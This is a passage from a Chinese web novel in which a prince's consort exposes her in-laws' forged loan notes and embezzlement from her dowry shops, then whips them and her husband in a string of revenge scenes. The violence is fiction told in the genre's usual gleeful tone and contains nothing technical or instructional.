那五千两银子。 萧子景不断发热的头脑闻言好像有了片刻冷静。 他看向大哥,目光又下意识地扫过站在后面的柳汝兰,眼神有些复杂起来。 “大哥,”萧子景一字一句地道,“究竟发生了什么,我还不知道呢。” 萧子易的心一颤。 从前这个弟弟可是会无条件相信他们大房的。 否则他们也不会有今天这样的成果。 “二弟,你来看看吧!” 另一边,柳汝兰则是忍不住了,劈手从二狗手里把欠条夺过去,一把塞到萧子景鼻子底下。 “这欠条分明是弟妹签下的,她还不起,就改成我的名字,这还有王法,还有天理吗!” 说起这件事,柳汝兰便气得呼哧直喘,面色也又开始涨红。 “大嫂扪心自问,我替她管了多久的铺子?就算没有功劳也该有苦劳吧,弟妹倒是好啊,白白用了我这个嫂子这么多年,最后还要我来帮她填平亏空?简直是岂有此理!” 柳汝兰一声高过一声,听着委屈至极,萧子景捏着欠条的手也开始颤抖。 叶晚竹的字他还是认识的! “你,你疯了不成?”他猛地扭过头,“你到底想干什么——” 早在柳汝兰拿出欠条的时候,叶晚竹便已经大步朝这边走来,萧子景厉声喝问到一半,叶晚竹一脚踩上了摇椅。 忽然的晃动让萧子景坐着也一个趔趄,险些一头从摇椅上栽下去。 回过神,他手中的欠条已经到了叶晚竹手里。 “啪!” 拿到了欠条,叶晚竹反手一个耳光,清脆响亮地扇在柳汝兰脸上。 “啊!” 柳汝兰捂着脸倒退两步,想发怒,看到是叶晚竹又忽然愣住了。 那天在街上被迫生啃猪头的事情,只要想想,就让柳汝兰浑身发抖,强迫她的叶晚竹更是如此。 “弟妹,你太过分了吧?”萧子易的脸终于彻底拉了下来。 他站在柳汝兰面前,用身体将两人隔绝开,一双阴沉沉的眸子也瞪了过来。 隐川隐风几乎同时动作,一左一右地站到了叶晚竹身边。 “大哥和大嫂的感情真好。” 叶晚竹笑着对上萧子景的眼睛,“既然如此,想来大嫂从我这里搜刮走的银子,大哥也有份儿咯?” “你——” 萧子易正要再说,叶晚竹身子一晃便从他眼前消失,只顷刻间就又出现在柳汝兰面前。 一把扯住柳汝兰的耳朵,叶晚竹笑得畅快,笑得疯癫。 “大嫂,好口才啊,黑的让你说成白的,贪了我的银子,却能说得如此委屈,弟妹我真想跟你好好学上一学呢!” “你松手!好疼啊!”柳汝兰绝望地尖叫着。 叶晚竹不仅不松手,还摆起了胳膊,柳汝兰也只能被迫跟着她的动作,弯着腰原地转起圈来。 “噗……”二狗一个没忍住笑出了声,又赶紧捂住自己的嘴。 “叶晚竹,你欺人太甚!” 萧子易反应过来,刚要大步上前,便被隐风隐川拦下,一步都前行不得。 “放肆!”他怒吼着。 叶晚竹闻言立刻一松手,还在旋转的柳汝兰反应不及,咚地一声坐倒在地。 “这可是大哥让我放手的。”她摊一摊手,满脸无辜。 柳汝兰满眼金星地坐在地上,还没等反应过来,眼前便出现了一张纸。 “大嫂刚才说这欠条上的名字是我改的?你怎么知道?”叶晚竹蹲在她面前,点了点已经黑成一团的墨渍。 “还有这里,谁说这本来写的是我的名字?” 柳汝兰眯着眼睛,试图理解叶晚竹的话,无奈脑子却已经转成了一团浆糊。 “是我——”她及时咬住舌尖,“是我看见的!你把欠条放在店里!” “还有,我总不至于连你的笔迹都不认识!” 叶晚竹侧头看向二狗。 “你是何人?”萧子景这才注意到墙边格格不入的猥琐男人。 二狗想把脖子缩回去,假装听不见。 这王府里乱得很,他可不想把自己搭进来。 “二狗!”叶晚竹却不放过他,“你可知道我名下的铺子,还有几间在钱庄贷了银子没还?” 二狗的脑袋又支棱起来了,这个他还真知道。 “除了香料铺子,还有四处!” “好啊,那你就去把这些欠条都拿过来。” 叶晚竹笑眯眯地拍了拍柳汝兰的脸。 “大嫂承认自己认识我的笔迹了,一会儿可别忽然失忆!” 第二十八章 二狗,还不快去 柳汝兰这才昏昏沉沉地清醒过来,顿时又打了个哆嗦。 她好像上了叶晚竹这贱人的套! “我——” “二狗,还不快去!” 没等柳汝兰开口,叶晚竹忽然大喝一声打断了她的话。 二狗跳起来就要往府外跑,刚迈出一只脚却又忽然收了回来。 “柳大夫人!”他瞪圆了一双小绿豆眼,“您这谎话可不能随便说,所有欠条都放在钱庄,怎么可能留在铺子里?” 哪儿有欠钱的人拿凭证的道理? 柳汝兰的脸色顿时变得铁青。 二狗一口气把话说完,便脚底抹油,飞也似地跑了出去。 他冲出大门的时候,萧子景刚刚停下了摇摆,张张口想把人喊住,二狗却早已经一溜烟跑得无影无踪。 “王爷……”冬生这时候才小心翼翼地靠了上来。 萧子景立刻瞪他一眼,“还不快扶我过去?” 没眼色的东西! 冬生刚刚才奉了萧子景的命令,趁乱把阮莹莹送回了房间,这会儿迎面又飞来主子的呵斥,他低着头不敢说话,只快步上前。 萧子景下肢无力,虽然还不至于站不起身,却要人搀扶着才能行走。 这模样看似与废人无异,可萧子景却是带兵打仗的将军,他身高体壮,将全身的力气压了大半在冬生身上,冬生脚下的步伐也变得艰难起来。 主仆二人好不容易才走到叶晚竹身后,萧子景正要出声,眼前却黑影一闪。 “王妃,您坐!” 隐川不知道什么时候将那摇椅拿了过来,摆在叶晚竹身后。 书画再一出声,叶晚竹便毫不客气地坐了下来。 他眼前一阵阵地发黑,硬撑着不让这些人看出异样,书画却发现了。 “诶呦,王爷?您怎么在这里?” 见自家王妃坐得稳稳当当,书画这才转过头,故作讶异地看着身后面色难看的萧子景。 萧子景微微喘着粗气,一双眼冷气森森地落在书画身上。 这个贱婢! 书画不客气地回看过去,什么王爷,不过是个是非不分的伪君子! 要不是他,王妃的身子也不会衰败成现在这样! 书画不曾去往战场,但自家王妃离京的时候尚未怀有身孕,也就是说,在那样紧张的局势之下,王爷还惦记着那点事! “弟妹,你这下人实在没规矩。” 萧子易依旧被隐风拦着,却也不忘给这边拱火。 “竟然敢对主子不敬,这若是我们秋雨阁的下人,现在就要被打杀出去。” “哦?” 叶晚竹靠在摇椅上,闻言只是笑了笑。 “我身体不适,不想站着,书画这是体贴我,才让人搬了椅子过来。” “照大哥这么说,秋雨阁的下人也太倒霉了,分明是为了主子着想,却落得个这样的下场。” “书画,你现在就过去传话,遣散秋雨阁的所有下人!” 萧子易万万没想到她会这样说,顿时愣住,“你,你怎么能?” “为何不能?” 叶晚竹笑得眉眼弯弯。 “替主子着想的下人,大哥不想要;不替主子着想的下人,又不配继续呆在王府,这么算来,秋雨阁里不是不应该有下人了吗?” 萧子易鼻翼翕张,险些背过气去。 “去吧书画,”叶晚竹朝她点点头,又转向萧子易,“大哥还有什么话要说?” 萧子易脸色铁青,盯着叶晚竹一语不发。 叶晚竹悠然自得地打开扇子给自己扇起风来。 “叶晚竹,”萧子景终于忍不住了,“你把秋雨阁的下人撵走,让大哥一家怎么生活?” 简直是胡来! “从前不在王府的时候,大哥一家难道不生活?”叶晚竹斜晲着他,“你们萧家四五口人挤在一间破房子的时候都能活,王府这样大,难道还能住不下不成?” 见她又提起从前的事情,萧子景一张脸涨成了紫色。 “你这贱人!”他从牙根里挤出低沉的咆哮,“我不同意!” “冬生!去把书画给我拦住!” 叶晚竹一下下抛着扇子,“王爷若是铁了心要留下这些下人,我也没办法,只是日后他们的开支,我不会管。” 萧子景面上的表情越发狰狞。 她不会管? 叶晚竹现在就已经对王府不管不顾了,还说什么以后! “冬生,去!”他又怒瞪起侍卫来。 冬生为难地看着萧子景,又望向叶晚竹,嘴唇蠕动着,委屈得说不出话。 主子们打架,遭殃的是他们这些下人啊! “算了,二弟。” 及时调整好心态,萧子易长叹一声,又摇了摇头。 “弟妹对我们误会太深,她想做什么就做什么吧,只要能让弟妹心里痛快些,我们当大哥大嫂的,委屈一点也没什么。” 此话一出,萧子景看着叶晚竹的眼神便更加火冒三丈。 叶晚竹却是看着萧子易。 第二十九章 老实交代,怎么回事! “我想做什么就做什么?”她重复着。 萧子易心下一突,忽然感到浑身寒意袭上,想张口,却又被叶晚竹堵了回去。 “那大哥就等好吧。” 二狗的动作很快,不出一炷香的功夫便在王府和钱庄之间跑了个来回,将叶晚竹名下所有铺子的欠条都拿了过来。 厚厚的一沓一字摆开,欠条上的金额各不相同,落款处签的倒全都是叶晚竹的名字。 只是这笔迹…… 落笔人字迹潦草而圆润,显然与叶晚竹的字两模两样。 书画已经遣散了秋雨阁的下人,又端着笔墨出现在柳汝兰身边。 “大夫人,有劳您写两个字吧?” 她笑意吟吟,柳汝兰却感到自己全身的血液都在发冷。 “我,我不写!”她一把将托盘掀翻。 “那就是做贼心虚?” 叶晚竹歇够了,站起身子走到柳汝兰面前,一把攥住她右手手腕。 “要么写字,要么……” 她手上用力,柳汝兰哀嚎一声,脸色唰地变得惨白。 叶晚竹弯下腰,亲自把毛笔塞进柳汝兰掌心。 “大嫂,”她摸着柳汝兰的脑袋,“写。” 这动作好像在摸一条狗似的,柳汝兰忍着手腕的疼痛,再看向叶晚竹的时候,脑子里的那根弦仿佛忽然一下子就绷断了。 “我杀了你!” 当街生吃猪肉,被当成狗一样抽打,再加上叶晚竹此刻的所作所为,柳汝兰自认再也受不了这样的侮辱,一把扯住叶晚竹就往地上滚。 “你去死!你给我去死!” 恨意驱使之下,柳汝兰力气惊人,当真让叶晚竹脚下一个踉跄。 稳住身子,叶晚竹一脚将柳汝兰提进了小道旁的灌木丛中。 初春的时节,枝条还不曾发芽,锋利的尖端顿时在柳汝兰脸上手上割开了数道小口子。 鲜血渗出,还没等柳汝兰反应,她便又被叶晚竹一把从里面拎了出来。 “这就是口口声声说替我做了多少事的好大嫂?” 冷笑着,叶晚竹将柳汝兰摔在地上,发出一声重响。 “胆敢行刺王妃,我现在就送你归西!” “不要!” 叶晚竹一身煞气,萧家兄弟看在眼中都是大惊失色,同时喊了起来。 “叶晚竹!你在说什么疯话,快住手!”萧子景身形摇晃,又催促着冬生赶快上前。 萧子易则是使足了力气推着拦在自己眼前的隐风,看着叶晚竹的眼底全是愤怒。 “你这是仗着自己有王妃的身份为所欲为!” “这就叫为所欲为了?” 叶晚竹又给隐川丢了个眼神,让他去拦住萧子景,自己转身回去,毫不客气地抬手在萧子易脸上连扇了十几个耳光! 萧子易本就是读书人,被王府养着之后更是不用劳作,肩不能挑,手不能提,叶晚竹的巴掌落下,将他扇得口鼻流血,眼神呆滞。 收回手,叶晚竹露出一个畅快的笑。 “这才叫为所欲为,大哥,记住了吗?” “叶晚竹!你这毒妇!” 萧子景愤怒的吼声从旁传来,“你给本王住手!住手!” 她怎么敢打大哥的? “毒妇,我要休了你!”他咬牙切齿地道。 叶晚竹回头看去,忽而嫣然一笑。 她忙了大半日,面色微微有些疲倦,却被这笑容衬得柔和起来。 萧子景不由得又愣住了,仿佛又看见了从前的叶晚竹,会一边在屋中做女红,一边等着他归来…… “王爷。” 眼前人笑意盈盈地开口,模样仍是与他记忆中渐渐重合。 “别着急啊,等一会儿你见了银子,说不定就不舍得休我了。” 叶晚竹面上真实的嘲讽让萧子景回过神来,听见银子二字,他刚想说话,叶晚竹却又转过身去。 “大嫂不会觉得你不写字,我就奈何不了你吧?” 她又将目标对准了柳汝兰。 “那么多铺子的账本里都是你留下的字迹,大嫂若是还不死心,我还可以让钱庄的人过来当面对峙,看看这几万两的银子,到底是谁去贷的。” “我乃王妃,你竟敢冒用我的身份招摇撞骗,这消息要是传到宫中,大嫂,你的这颗脑袋只怕是再也保不住了。” “不光是你,还有你们大房的所有人……” 不紧不慢地说着话,叶晚竹的目光往秋雨阁那边看了一眼。 柳汝兰瘫倒在地,瑟瑟发抖着。 她当初怎么会想到,叶晚竹会有忽然变聪明了的这天呢! “我还钱!那些欠条是我写的,我都认……”柳汝兰撑着身子试图坐起来,“是我猪油蒙心,你,你不要乱来!” 叶晚竹要折磨她也就罢了,可秋雨阁里还有自己的一双好儿子啊! 叶晚竹垂眸看去,“只还钱就够了?大嫂真是打得一副好算盘,准备用从我铺子里贪去的银子还账是不是?左右手一换的买卖,您可真是不能吃一点儿亏啊。” 柳汝兰死死咬着嘴唇,“我不知道你在说什么!” 这些年她的确是从叶晚竹的嫁妆里贪了不少银钱,可那些早都已经在大房花用了。 难道叶晚竹想让她连这些银子也一并还上? 她拿什么还? 这简直是个无底洞好不好! 叶晚竹已经让书画将早就准备好的账本取了过来。 “王爷是王府的主子,让王爷先瞧。”她漫不经心地道。 书画绷着小脸将账本递给萧子景,萧子景接过账本的时候,竟然还生出了一点受宠若惊的感觉。 叶晚竹今天这到底是在做什么? 怎么忽然又承认他是一家之主的地位了? 可等萧子景翻开账本,心里那点还没荡开的涟漪顿时好像冻成了冰块。 叶晚竹已经提前将账目整理好,出现在萧子景眼前的只有几年来各家铺子的进出账记录和总数。 萧子景是武将,带兵打仗在行,看账本这样的事要差上一些。 尽管如此,也不妨碍他看明白,这几年来,叶晚竹的所有陪嫁铺子都在亏钱! 而且这窟窿还一年大过一年! 难怪要去向钱庄贷银子,若非如此,只怕这些铺子早就该关门大吉了。 总账亏损的厉害,可这铺子中的进账却着实不菲,之所以会变成这般,正是因为每隔几个月,账面上便会出现一笔巨大的取用记录,将能动用的银子全部提走。 萧子景捏着账本的手用力起来。 他从不操心王府的花用,一切的一切,全都是大嫂柳汝兰在负责! 有些事不能细想,萧子景原先觉得秋雨阁里那些名贵的东西并没有什么了不起的,他发达了,家人也该一起过上好日子。 但如今想到那些东西都是从自己手里偷走的,萧子景就有点控制不住自己的情绪了! 他可以给。 但大嫂怎么能偷! “大嫂,你解释一下吧。” 将账本一合,萧子景的语气前所未有地疏离起来。 叶晚竹在账本最后写了个总数,所有铺子林林总总加起来,有近万两黄金的损失。 近万两黄金! 他在战场差点儿丢了小命,圣上的赏赐是万两黄金。 大嫂这一伸手,就拿走了他将近一条命! 萧子景的呼吸变得粗重起来。 “你这无知蠢妇!怎么能做出这样的事情?” 震惊的质问声响起,听上去此人颇为痛心疾首。 叶晚竹并不意外地抬起眼,看着萧子易目露惊诧的模样。 “二弟信任你我,才将王府产业交给你打理,你这样做,莫不是得了失心疯不成?” “你给我老实交代,到底怎么回事?” 第三十章 替罪羊 方才挨了那么多巴掌,萧子易这会儿说话的时候还有些含糊不清。 但却并不影响他别有深意地朝柳汝兰看去。 事情闹成这样,不给叶晚竹一个交代显然是无法收场的。 只有自断一臂。 再者说,要不是柳汝兰愚蠢又自大,留下了这么多证据,也不会被抓到把柄。 既然如此,那她就先受着吧! 柳汝兰看懂了萧子易眼底的警告,她打了个激灵,朝着那边踉踉跄跄地爬过去。 “老爷,妾身错了,都是妾身得了小人挑拨,一时糊涂才做下这样的事情!” “竟然真的是你!” 萧子易的难以置信来的恰到好处,他猛地踢了一脚柳汝兰,回头看向萧子景。 “二弟,这贱妇胆大包天,实在可恨!今日你要打要罚,大哥绝不插手!” 瞧他的模样,好像真对柳汝兰做过的事情毫不知情似的。 萧子景的嘴还没张开,叶晚竹清脆的拍手声便响了起来。 “大哥大义灭亲,真是让人敬佩,不过,她偷用的是我铺子里的钱财,该如何处理,我说了算。” 看着萧子景犹犹豫豫的模样,叶晚竹便知道自己今天的目的已经达到了。 经此一事,萧子景若还是全心全意地相信大房,那叶晚竹就相信他是个彻头彻尾的大傻子。 大房这边,萧子易把柳汝兰推出来背锅,两人的关系也不可能再回到今日之前。 萧子易会觉得柳汝兰没用,柳汝兰会觉得萧子易心狠。 两人各自有了算计,不再齐心,往后的日子过起来,才叫精彩。 不过,在这之前…… “隐风隐川,扶大嫂起来;书画,去请家法!” 敛下心神,叶晚竹吩咐道。 几人立刻应声而动,柳汝兰被架着站起身,看向叶晚竹的眼中满是惊恐。 “你,你要干什么?” 叶晚竹笑了笑,熟悉的疯意又出现在她的脸上。 “当然是要让大嫂意识到自己的错误,若不是莹莹妹妹去查账,恐怕直到我的铺子赔个底儿掉,我都不知道大嫂竟然会做出这样丧心病狂的事来!” 听到家法,柳汝兰顿时哆嗦起来,下意识地朝萧子易看去。 “弟妹做的对,是该让这蠢货长长记性!” 萧子易假装看不懂柳汝兰眼中的求救,重重拉下脸来呵斥。 他眼中实则也带着浓浓的警告。 哄得叶晚竹消了气,暂且度过今天这关,日后,他们报复的机会还多的是! 留得青山在,不愁没柴烧! 柳汝兰面如死灰,一语不发地垂下头去。 萧子易的眉头却又蹙了起来。 叶晚竹方才说,阮莹莹查账? 好端端的,她查什么账? 他猛地意识到,今天这一出,怎么好像是冲着他们大房来的? 查账的,发难的全都是萧子景身边的人! 难道是他这个二弟故意而为? 萧子易的目光便不能控制地朝着萧子景看去。 萧子景垂着眉眼,并未作声,萧子易见状便更是心下不安。 要是让萧子景怀疑上,那可就不好了。 “王妃!家法来了!” 另一边,书画小跑着出现,将手中一条长鞭递到了叶晚竹的面前。 伸手接过,叶晚竹摩挲着手柄上凹凸不平的纹路,神情微沉。 前世,这条鞭子落下最多的地方就是她的身子了。 这不是普通的鞭子,制作鞭身的时候混了铁砂进去,抽打时能活生生地刮下一层皮肤来。 柳汝兰对着她挥鞭的模样,叶晚竹现在还历历在目。 “大嫂,来吧?” 转过身子,还不等柳汝兰反应,叶晚竹狠狠一鞭甩了上去! “啊!” 那鞭子顷刻间就撕裂了柳汝兰的衣裳,一道血痕出现在她胳膊上,柳汝兰控制不住地惨叫一声。 还没等她喘上一口气,第二鞭落下,紧接着便是第三鞭,第四鞭。 隐风隐川已经提前将柳汝兰五花大绑,她动弹不得,只能任由鞭子落在自己身上,疼得死去活来。 她为什么要受这种罪! 哀嚎着,柳汝兰一双眼睛忍不住朝萧子易看去。 “还不服!” 被她眼底的怨毒骇得一惊,萧子易沉声开口,眼中的警告意味更浓了。 柳汝兰敢把他扯出来,先倒霉的肯定是她! “弟妹,你尽管教训这蠢妇,不必——嗷!” 萧子易故作姿态的话还没说完,破空之声响起,下一刻,他被叶晚竹一鞭子抽翻在地! 火辣辣的疼痛从胳膊上传来,萧子易瞪大双眼,“你什么意思!” 叶晚竹又是一鞭子甩上去,正中萧子易胸口。 “大哥此言差矣,你是大房的主人,大嫂在你眼皮子下面做出这样的事情,可见你平日对家事有多不上心!” 眼见萧子易假惺惺的嘴脸被抽得粉碎,叶晚竹感到无比畅快! 只会在背后扇阴风,点鬼火,出了事就把责任往别人身上一推,再说两句风凉话给自己找补。 这样的货色,真是深得萧家的精髓! “大哥,”叶晚竹边抽边笑,“我看大嫂是个不长记性的,日后要是再出现这样的情况,我就只有来找你要个说法了!” 萧子易抱着自己在地上打滚,就算听见叶晚竹的话,也没有力气去争辩。 叶晚竹这个疯子! 下手怎么一点儿道理都不讲! 还要留下看这夫妻二人狗咬狗,叶晚竹掐着分寸停了手,饶是这般,萧子易和柳汝兰还是哀嚎不断,浑身上下都没有一块完好的皮肉。 “隐川,”叶晚竹喘了口气,“把大哥大嫂送回去,替他们好好地处理一下伤口。” 她在好好地几个字上微妙地加重了语气。 隐川的心情这会儿有些复杂,方才院中这鬼哭狼嚎,鲜血遍地的架势,让他感觉自己好像并没有离开东厂。 景平王妃的吩咐听上去就更是如此了。 心思一转而过,隐川恭恭敬敬地点头,“是!” 他上前收拾残局,叶晚竹转过身子,刹那间又是一声脆响。 “啊!” 萧子景惨叫一声,看向自己鲜血淋漓的手背。 “你,你要干什么?”他胆战心惊地瞧着叶晚竹。 方才这女人挥鞭的时候,笑得好像阎罗在世一般! 她不是还没打够,想来打自己了吧? 第三十一章 打个萧子景过过瘾吧 将心事都写在脸上,萧子景心惊胆战地想后退,却忘了自己还得靠人扶着。 他猛地动作,冬生猝不及防,主仆二人先后摔倒在地。 “诶呀,王爷!” 将萧子景的模样看在眼中,叶晚竹故作讶异地上前。 “方才是妾身手滑了,没收住力道,王爷没事吧?” 她快走两步,赶在萧子景反应过来之前,一把将他搀住。 熟悉的触感让萧子景一僵,本能地想甩开叶晚竹的手,小臂的软肉却已经被她死死拧住。 倒吸一口冷气,萧子景感到浑身都激起了鸡皮疙瘩,连叫都叫不出声。 “冬生,快扶着王爷起来,咱们回去。” 叶晚竹仍是一副好王妃的模样,看得冬生也迷惑不已,只好凌乱地跟着她的步伐向前—— 等离开前院,踏进清辉院的院门,冬生这才明白过来。 “啊!” 一只脚刚在地上站稳,萧子景便感到背上又袭来一阵刺痛! 他踉跄着一头向前栽倒,还没等缓过气来,又听见啪地一声砸在自己脚背上。 四处受敌,萧子景支撑不住,顿时摔倒在地。 “叶晚竹!你给我住手!”萧子景怒吼一声,不作他想。 这王府里拿着鞭子的人,还能有谁? 他话音未落,叶晚竹便又是一鞭子甩了过去! “住手?”她冷笑着,“王爷倒是给我个住手的理由啊?” “你把我的嫁妆铺子交给大房,几年下来差点儿被掏了个空,不是你的银子,王爷不心疼,那王爷就心疼心疼自己吧!” 一句句说着话,也不耽误叶晚竹一下又一下抽在萧子景身上的动作。 “我告诉你,大房要是还不上这笔银子,那就用王爷的俸禄给我填上!一文钱都不许少!” 叶晚竹早就想狠狠抽萧子景一顿了,若不是顾及着那个分裂萧家的计划,刚才在外面的时候,萧子景就应该皮开肉绽! 柳汝兰为什么能掏空她的铺子? 还不是因为萧子景! “王爷,你有没有意见?”叶晚竹又甩了一鞭子下去。 她分寸掌握得极好,打柳汝兰和萧子易的时候,鞭鞭抽在明面上,可等轮到萧子景,却都朝着他隐秘的地方去。 此刻萧子景蜷缩成一团躺在地上,大腿屁股处的衣裳都成了破布条,皮开肉绽,鲜血淋漓。 可除了叶晚竹最开始抽在萧子景手背上的那一下,他身上其他地方依旧完好无损。 听见叶晚竹的问话,萧子景这才发觉抽在身上的鞭子已经停了下来。 “毒妇,你这毒妇!”他忍着疼痛,不断地倒抽冷气。 他就说叶晚竹怎么会对自己变了模样。 原来是等着掏他的银子! 萧子景是异性王,也是大梁的将军,两项职位的俸禄加在一起也不算小数。 特别是在王府的银钱已经全部落到叶晚竹手中之后,萧子景的俸禄俨然已经成了家中唯一的进账。 可叶晚竹还要拿走? “我绝不——” 一句话还没说完,鞭子激灵灵地又挨上了萧子景的屁股。 “王爷说什么?妾身没听清。” 叶晚竹收了手,露出一个灿烂的笑容。 萧子景龇牙咧嘴地呻吟着,想装死,余光却看见叶晚竹又将鞭子举了起来。 “好!可以!我答应了!”他下意识地猛点着头。 这条行使家法的鞭子是他们萧家的东西,萧子景只见过它打人,还从来没想到被它打竟然会如此折磨! “啊!” 饶是同意的话已经出了口,萧子景还是眼睁睁地看着那条鞭子又一次朝自己甩了下来! “你还要怎么样!”他崩溃地嘶吼起来。 叶晚竹将沾满鲜血的鞭子丢到一边,又摊了摊手。 “打得太久,手滑了,王爷要是早点答应,不就不用白挨这一下了吗?” 她表情无奈,萧子景却几欲吐血。 所以,这是怪他自作自受? 书画这时候从一旁小跑着上来,殷勤地将擦手的帕子递给叶晚竹,“王妃,您辛苦了,快歇会儿!” 她一边说着,隐川也再次出现,又将那张摇椅稳稳地放在叶晚竹身旁。 使鞭子是个力气活,叶晚竹这会儿是累了,挥鞭的手都在抖个不停。 她顺势坐下,又朝冬生招手,“你过来。” 冬生哪儿敢不从,小跑着上前去,身子也在隐隐发抖。 王妃应该打过瘾了吧? “王爷刚才说的话你都听见了?”叶晚竹问道。 冬生一愣之下,才想起这两位刚才还商量了一件大事。 “去写份协议,让王爷签字画押,”叶晚竹又看向还在地上挣扎的萧子景,“大房一个月还不上我的银子,王爷就一个月别想要俸禄。” 萧子景刚从疼痛中勉强清醒过来,被几个下人扶着坐起了上半身,闻言恨恨地朝叶晚竹看来。 “你这样做,还给景平王府留活路吗?” 库房空虚,账面没有银子,就连他的俸禄都不能花用! “贱人!”萧子景咬牙切齿地道。 “王爷想反悔?” 叶晚竹眯着眼睛,揉了一把酸痛的手腕,忽然道,“隐川,你去,王爷还没受够教训!” 隐川二话不说便弯腰去捡地上的鞭子。 萧子景感到全身上下的血液好像都凝成了冰。 叶晚竹可是说过,这人是谢无咎的手下,也就是东厂的人! 那是什么地方? 萧子景常在边关带兵打仗,但也听说过京城被东厂抓去的贪官污吏,都是如何被酷刑折磨的。 想想那些传闻,萧子景看向隐川的表情便带上了掩饰不住的恐惧。 “我,我写!” 眼看隐川要朝自己走来,萧子景牙关一咬,恶狠狠地应了下来。 先过了今日这一关再说! 他这一松口,事情就好办得多了,叶晚竹口述了一份协议,又和萧子景都在上面签下了自己的名字。 将协议收起,叶晚竹便施施然地站起身,带着自己身边几人,头也不回地离开了清辉院。 萧子景瞪着她的背影,几乎要把满口的牙都咬碎。 “冬生,”他阴恻恻地转过头,“你去,给宫里送一封信!” 第三十二章 您就是属下唯一的主子 另一边,叶晚竹刚走到自己的潇湘院门前,便看见隐风带着二狗站在那里。 他还没走? 方才打得专注,叶晚竹都已经忘记了还有这位的存在。 “王妃。” 一见叶晚竹出现,二狗脸上便挂起了谄媚的笑容。 他方才可是亲眼见到这位景平王妃是怎么大发神威的,那两位被打得,浑身上下都看不见一块好皮了! 只要想想那画面,二狗便忍不住哆嗦,脸上的笑容也越发讨好。 “王妃,小的是来给您送银票的!” 他躬着身子,双手给叶晚竹递来一张五千两的银票。 “这是小的刚才从那秋雨阁里要来的!”二狗笑得见牙不见眼。 叶晚竹这才想起自己的威胁,看着二狗笑了一声,“你倒是挺会办差。” 前院都乱成那样了,他还惦记着这五千两银子。 二狗连声道着不敢。 他贱命一条,经不起这位王妃折腾,当然要把差事办的好看一点! 思绪还没停下,二狗膝窝一痛,没忍住惨叫一声,又咚地跪在了地上! 他,他做错了? 二狗仰起头,一脸的茫然。 “阮莹莹是怎么跟你说的,让你到王府来要钱?”叶晚竹俯下身去。 这二狗明显就是个欺软怕硬的,最是滑不留手,怎么会主动跑到景平王府来自讨苦吃? 只有阮莹莹在其中起了作用。 二狗立刻明白过来,哭丧着脸,把在香料铺子里和阮莹莹的交谈一五一十地说了出来。 “不过,王妃,小的已经意识到错误,刚才就让人往铺子里送口信,让那些混球都赶紧滚蛋了!” 想到他竟敢派人围着景平王妃的铺子,二狗吓得连话都有点说不利索。 “小的一开始那是瞎了狗眼,您放心,以后您的铺子,谁敢闹事,小的第一个不答应!” 他一攥拳头,说话掷地有声,看向叶晚竹的眼中却满是哀求。 他就是个小流氓,别说钱权二字比不上眼前这位,就连好勇斗狠也拼不过啊! 叶晚竹抱着双臂,朝二狗投去了一个微笑。 “你也知道自己张了双狗眼?看了多少不该看的,又打了什么不该打的算盘?” 看见景平王妃露出笑容,二狗刚以为自己过关了,正要跟着咧嘴,听见这话,笑容顿时全都凝固在了嘴角。 那姓夏的掌柜! 坏了! 眼珠子一转,二狗左右开弓,啪啪地扇起自己的大耳光来。 “小的,小的脑子被门挤了!被驴踢了!” “小的嘴上没个把门的,该把舌头拔了!眼睛也有毛病,该戳瞎了!” “小的再也不敢了,再也不敢了!” 生怕认罪慢了也挨上几鞭子,二狗叽里咕噜地骂着自己,手上的动作一下都不敢停。 叶晚竹就这么看着,眼见二狗把自己的脸扇成猪头才叫停。 “长了记性就好,这次就算了,日后,再让我知道你居心不轨,我就把你这颗脑袋,送给京华街的陈屠户!” 陈屠户是做什么的? 卖猪头肉的! 二狗连连点头,又哀哀地承认着自己的罪过,保证再也没有下次。 “小的坚决不让夏掌柜再看见我这个猪头!” 叶晚竹不厌其烦地将他赶了出去。 回到屋中,书画已经备好了热水和饭食。 叶晚竹先沐浴过,一身清爽地将桌上的饭菜吃了大半,这才感觉自己重新活了过来。 “秋雨阁那边的情况怎么样?” 直到这会儿,她才有心思将隐风叫过来问话。 隐风束手站在桌前,已经飞速融入了景平王府的气氛一般。 “萧子景和柳汝兰都受伤不轻,属下给两人上的药只能止血,接下来他们恐怕要苟延残喘一段时间。” “秋雨阁的下人已经全都赶了出去,一些不愿意离开的,都被属下暂且分到了后院,尤其是那个叫金婶子的,贼头贼脑,一看就不老实。” 这汇报的内容,听上去好像和东厂也没太大的区别。 叶晚竹点了点头,“嗯,你注意看着,金婶子无所谓,她要干什么随她去,只要别让大房那两人死了就行。” 人一死,她有理也要变成没理。 隐风恭敬应下,叶晚竹又抬起头,将他和隐川挨个看了过去。 她目光审视,隐风隐川齐齐绷紧了一根弦。 “你二人虽然现在跟着我,但终究是九千岁的手下,有些话,我还是提前说明白为好。” 这话本该早些说,被这通乱子搅合得留到了现在。 隐风隐川对视一眼,齐齐朝着叶晚竹拱手。 “九千岁已经发话,往后您就是我们唯一的主子!” “哦?” 叶晚竹闻言并不见意外,反而挑了挑眉。 “那我要是让你们去打探九千岁和东厂的情况呢?” 两人又同时神情一滞。 叶晚竹无声地笑了笑。 刚试了一句,就把这两人问住了。 “九千岁武功高强,东厂戒备森严,我二人虽是东厂出身,却也无法保证能毫发无损地完成主子的任务。” 隐风这时候开了口。 算是个忠心的回答,也变相提醒了叶晚竹一句。 谢无咎神通广大,不该做的事情,她最好也掂量着办。 敛下思绪,叶晚竹抬手轻敲桌面。 “我对你们二人只有一个要求,我不发话,景平王府和我身边发生的一切,你们不能向九千岁汇报。” 否则的话,这二人岂不是成了她身边的耳报神? “属下遵命!” 这回不用半点犹豫,两人便一口答应了下来。 如此一来,叶晚竹便暂时认可了这两人呆在自己身边。 安顿了隐风隐川在府中住下,叶晚竹这才有时间拿起那张价值五千两的银票。 摩挲着,二狗的话又在叶晚竹耳边响起。 阮莹莹好大的胆子,竟然敢用夏铃做人情! 她的人阮莹莹也敢动,看来这段时间,阮莹莹的日子是过得太好了。 “书画。” 心念一起,叶晚竹扬声道,“你带上几个婆子,走一趟春风居,就说——” 话刚说到这儿,一个满脸写着急迫的小丫鬟从外面冲了进来。 “王妃,小少爷和兄长们打起来了,您快去看看吧!” 第三十三章 打架?打个痛快! 叶晚竹神色不明地看着这张略显陌生的脸。 “你是潇湘院的人?”她缓缓开口。 小丫鬟仍是一脸急迫,虽然不明所以,还是点了点头。 “奴婢是在前院洒扫的……” “丢出去。” 叶晚竹面无表情地截断她的介绍,“既然这么关心小少爷,都超过了你洒扫的活计,那从今往后,你就去观竹苑当差吧!” 观竹苑便是萧延的院子。 